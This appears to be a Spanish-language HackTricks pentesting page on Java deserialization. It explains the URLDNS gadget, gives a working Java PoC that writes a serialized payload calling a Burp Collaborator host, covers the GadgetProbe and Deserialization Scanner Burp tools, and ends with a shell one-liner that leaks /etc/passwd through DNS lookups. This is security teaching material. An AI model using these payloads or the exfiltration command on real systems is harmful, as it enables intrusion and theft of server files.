12 KiB
Deserialización de DNS en Java, GadgetProbe y Escáner de Deserialización de Java
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Consigue el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Solicitud DNS en deserialización
La clase java.net.URL
implementa Serializable
, lo que significa que esta clase se puede serializar.
public final class URL implements java.io.Serializable {
Esta clase tiene un comportamiento curioso. Según la documentación: "Dos hosts se consideran equivalentes si ambos nombres de host se pueden resolver en las mismas direcciones IP".
Entonces, cada vez que un objeto URL llama a cualquiera de las funciones equals
o hashCode
, se va a enviar una solicitud DNS para obtener la dirección IP.
Llamar a la función hashCode
desde un objeto URL es bastante fácil, es suficiente con insertar este objeto dentro de un HashMap
que va a ser deserializado. Esto se debe a que al final de la función readObject
de HashMap
, se ejecuta este código:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[ ... ]
for (int i = 0; i < mappings; i++) {
[ ... ]
putVal(hash(key), key, value, false, false);
}
Se va a ejecutar putVal
con cada valor dentro del HashMap
. Pero lo más relevante es la llamada a hash
con cada valor. Este es el código de la función hash
:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
Como se puede observar, al deserializar un HashMap
, la función hash
se va a ejecutar con cada objeto y durante la ejecución de hash
se va a ejecutar .hashCode()
del objeto. Por lo tanto, si se deserializa un HashMap
que contiene un objeto URL
, el objeto URL
ejecutará .hashCode()
.
Ahora, echemos un vistazo al código de URLObject.hashCode()
:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
Como se puede ver, cuando un URLObject
ejecuta .hashCode()
, se llama hashCode(this)
. A continuación se puede ver el código de esta función:
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
[ ... ]
Se puede observar que se ejecuta un getHostAddress
al dominio, lanzando una consulta DNS.
Por lo tanto, esta clase puede ser abusada para lanzar una consulta DNS y demostrar que es posible la deserialización, o incluso para filtrar información (se puede agregar como subdominio la salida de la ejecución de un comando).
Ejemplo de código de carga útil URLDNS
Puede encontrar el código de carga útil URDNS de ysoserial aquí. Sin embargo, para facilitar la comprensión de cómo codificarlo, he creado mi propio PoC (basado en el de ysoserial):
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}
class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
Más información
- https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
- En la idea original, la carga útil de commons collections se cambió para realizar una consulta DNS, esto era menos confiable que el método propuesto, pero este es el post: https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/
GadgetProbe
Puede descargar GadgetProbe desde la tienda de aplicaciones de Burp Suite (Extender).
GadgetProbe intentará averiguar si algunas clases de Java existen en la clase Java del servidor para que pueda saber si es vulnerable a algún exploit conocido.
¿Cómo funciona?
GadgetProbe utilizará la misma carga útil DNS de la sección anterior, pero antes de ejecutar la consulta DNS, intentará deserializar una clase arbitraria. Si la clase arbitraria existe, se enviará la consulta DNS y GadgProbe anotará que esta clase existe. Si la solicitud DNS nunca se envía, esto significa que la clase arbitraria no se deserializó correctamente, por lo que no está presente o no es serializable/explotable.
Dentro de github, GadgetProbe tiene algunas listas de palabras con clases de Java para ser probadas.
Más información
Escáner de deserialización de Java
Este escáner se puede descargar desde la tienda de aplicaciones de Burp (Extender).
La extensión tiene capacidades pasivas y activas.
Pasivo
Por defecto, verifica pasivamente todas las solicitudes y respuestas enviadas buscando bytes mágicos serializados de Java y presentará una advertencia de vulnerabilidad si se encuentra alguno:
Activo
Pruebas manuales
Puede seleccionar una solicitud, hacer clic derecho y Enviar solicitud a DS - Pruebas manuales
.
Luego, dentro de la pestaña Deserialization Scanner --> Manual testing tab puede seleccionar el punto de inserción. Y lanzar la prueba (Seleccione el ataque apropiado dependiendo de la codificación utilizada).
Aunque esto se llama "Pruebas manuales", es bastante automático. Comprobará automáticamente si la deserialización es vulnerable a cualquier carga útil ysoserial comprobando las bibliotecas presentes en el servidor web y resaltará las vulnerables. Para comprobar las bibliotecas vulnerables puede seleccionar lanzar Javas Sleeps, sleeps a través del consumo de CPU, o usando DNS como se mencionó anteriormente.
Explotación
Una vez que haya identificado una biblioteca vulnerable, puede enviar la solicitud a la pestaña Exploiting Tab.
En esta pestaña, debe seleccionar el punto de inyección nuevamente, escribir la biblioteca vulnerable para la que desea crear una carga útil y el comando. Luego, simplemente presione el botón de Ataque apropiado.
Información de exfiltración DNS de deserialización de Java
Haga que su carga útil ejecute algo como lo siguiente:
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
Más información
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.